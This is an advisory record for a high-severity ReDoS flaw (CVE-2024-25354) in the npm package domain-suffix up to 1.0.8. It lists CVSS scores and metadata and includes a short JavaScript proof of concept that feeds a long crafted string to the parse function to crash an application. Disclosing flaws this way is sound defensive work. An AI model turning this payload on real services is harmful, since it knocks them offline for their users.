CVE-2024-25354 – domain-suffix
Package
Manager: npm
Name: domain-suffix
Vulnerable Version: >=0 <=1.0.8
Severity
Level: High
CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS: 0.00151 pctl0.36289
Details
domain-suffix RegEx Denial of Service RegEx Denial of Service in domain-suffix 1.0.8 allows attackers to crash the application via crafted input to the parse function. ## PoC ```js async function exploit() { const domainsuffix = require(\"domain-suffix\"); // Crafting a string that will cause excessive backtracking const maliciousInput = \"a.\".repeat(10000) + \"b\"; // This will create a long sequence of \"a.\" followed by \"b\" const result = await domainsuffix.domainSuffix.parse(maliciousInput); } await exploit(); ```
Metadata
Created: 2024-03-28T00:31:40Z
Modified: 2025-09-03T15:16:09Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/03/GHSA-cqfh-c4c5-c2hg/GHSA-cqfh-c4c5-c2hg.json
CWE IDs: ["CWE-1333"]
Alternative ID: GHSA-cqfh-c4c5-c2hg
Finding: F211
Auto approve: 1